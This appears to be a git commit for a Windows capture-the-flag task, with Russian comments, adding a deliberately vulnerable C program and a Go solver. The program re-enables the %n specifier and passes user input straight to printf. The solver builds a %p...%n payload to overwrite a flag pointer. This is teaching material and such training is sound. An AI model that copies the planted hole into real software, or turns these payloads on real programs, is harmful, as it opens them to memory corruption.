v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,66 @@
|
||||
/*
|
||||
Поскольку %44$n не работает, нам нужно "прошагать" по стеку. При вызове printf(fmt_str, 0xdeadbeef) память выглядит так:
|
||||
|
||||
fmt_str (в RCX)
|
||||
|
||||
0xdeadbeef (в RDX)
|
||||
|
||||
Мусор или старые значения (в R8)
|
||||
|
||||
Мусор (в R9)
|
||||
|
||||
Shadow Space (32 байта на стеке)
|
||||
|
||||
Локальные переменные main (среди которых указатель print_flag).
|
||||
|
||||
Мы будем отправлять пейлоад вида %p %p %p %p... %n. Когда %n дойдет до слота на стеке, где лежит указатель print_flag, printf запишет туда количество выведенных до этого байт. Значение станет больше нуля, и условие if (*print_flag) выполнится.
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// Спавним локальный процесс (потом можно заменить на winpwn.Remote)
|
||||
tube, err := winpwn.Spawn("fs3_win.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
// Оффсет: сколько спецификаторов %p нужно напечатать,
|
||||
// чтобы следующий элемент указывал на переменную print_flag.
|
||||
// Это число вычисляется динамически в x64dbg (смотришь на стек перед вызовом printf).
|
||||
// Допустим, после анализа мы выяснили, что указатель лежит 12-м по счету.
|
||||
offset := 12
|
||||
|
||||
// Конструируем пейлоад вида: "%p %p %p %p %p %p %p %p %p %p %p %n\n"
|
||||
// Первые %p вытащат RDX (0xdeadbeef), R8, R9, затем содержимое стека.
|
||||
// Последний %n запишет число по адресу, лежащему на стеке (наш print_flag).
|
||||
var payload bytes.Buffer
|
||||
for i := 0; i < offset-1; i++ {
|
||||
payload.WriteString("%p ")
|
||||
}
|
||||
payload.WriteString("%n\n")
|
||||
|
||||
// Отправляем форматную строку
|
||||
if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
|
||||
// Перехватываем управление, чтобы увидеть вывод флага
|
||||
tube.Interactive()
|
||||
}
|
||||
|
||||
/*
|
||||
Как участникам искать offset?
|
||||
|
||||
Им не обязательно использовать дебаггер. Форматные строки можно фаззить прямо из терминала.
|
||||
Если участник отправит строку AAAA %p %p %p %p %p %p %p %p %p %p, он увидит что-то вроде:
|
||||
AAAA 00000000DEADBEEF 00007FF71234 000000000000 000000000000 029011B0...
|
||||
|
||||
Где 029011B0 — это типичный адрес кучи в Windows. Как только они на глаз определят, каким по счету выводится адрес кучи, они просто заменят последний %p на %n.
|
||||
*/
|
||||
@@ -0,0 +1,84 @@
|
||||
/*
|
||||
* TL;DR: Эксплуатация Format String Vulnerability (уязвимости форматной строки)
|
||||
на Windows имеет три фундаментальных отличия от Linux. Во-первых, стандартный
|
||||
Microsoft CRT не поддерживает позиционные аргументы (вида %44$n), поэтому
|
||||
добираться до нужного указателя на стеке придется цепочкой из %p %p %p....
|
||||
Во-вторых, спецификатор %n отключен в Windows по умолчанию из соображений
|
||||
безопасности. В-третьих, из-за соглашения о вызовах x64 (RCX, RDX, R8, R9)
|
||||
первые несколько %p выведут значения из регистров, а не со стека.
|
||||
|
||||
Ниже представлены адаптированные исходники для Windows и решение на базе твоего
|
||||
модуля go_pwner. Уязвимый файл (fs3_win.c)
|
||||
|
||||
Чтобы таск можно было решить, нам необходимо искусственно разрешить
|
||||
использование %n с помощью функции _set_printf_count_output(1). Без неё попытка
|
||||
передать %n приведет к немедленному завершению процесса (Secure CRT ругнется на
|
||||
инвалидный параметр). Я также переписал чтение на ReadFile(STD_INPUT_HANDLE),
|
||||
чтобы таск легко биндился на порт через socat. */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
|
||||
void setup() {
|
||||
// Отключение буферизации для работы по сети
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
// КРИТИЧНО ДЛЯ WINDOWS CTF: Включаем поддержку %n в Microsoft CRT.
|
||||
// Начиная с VS2015 этот спецификатор отключен по умолчанию для защиты от
|
||||
// сплойтов.
|
||||
_set_printf_count_output(1);
|
||||
}
|
||||
|
||||
int main() {
|
||||
setup();
|
||||
|
||||
char buf[32];
|
||||
char fmt_str[256];
|
||||
char *my_secret_value = "my secret value";
|
||||
DWORD bytesRead;
|
||||
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
|
||||
|
||||
// Указатель выделяется на куче. Сам указатель лежит на стеке.
|
||||
int *print_flag = malloc(sizeof(int));
|
||||
*print_flag = 0;
|
||||
|
||||
printf("Enter your format string: ");
|
||||
|
||||
// Читаем полезную нагрузку
|
||||
ReadFile(hStdin, fmt_str, 255, &bytesRead, NULL);
|
||||
if (bytesRead > 0) {
|
||||
// Убираем перенос строки, если он есть, для чистоты вывода
|
||||
if (fmt_str[bytesRead - 1] == '\n')
|
||||
bytesRead--;
|
||||
if (fmt_str[bytesRead - 1] == '\r')
|
||||
bytesRead--;
|
||||
fmt_str[bytesRead] = '\0';
|
||||
}
|
||||
|
||||
// УЯЗВИМОСТЬ
|
||||
// fmt_str летит в RCX, 0xdeadbeef летит в RDX
|
||||
printf(fmt_str, 0xdeadbeef);
|
||||
printf("\n");
|
||||
|
||||
if (*print_flag) {
|
||||
HANDLE hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
ReadFile(hFile, buf, 18, &bytesRead, NULL);
|
||||
buf[bytesRead] = '\0';
|
||||
|
||||
// Пишем в stdout через WinAPI
|
||||
HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
WriteFile(hStdout, buf, bytesRead, &bytesRead, NULL);
|
||||
|
||||
CloseHandle(hFile);
|
||||
} else {
|
||||
printf("flag.txt not found!\n");
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user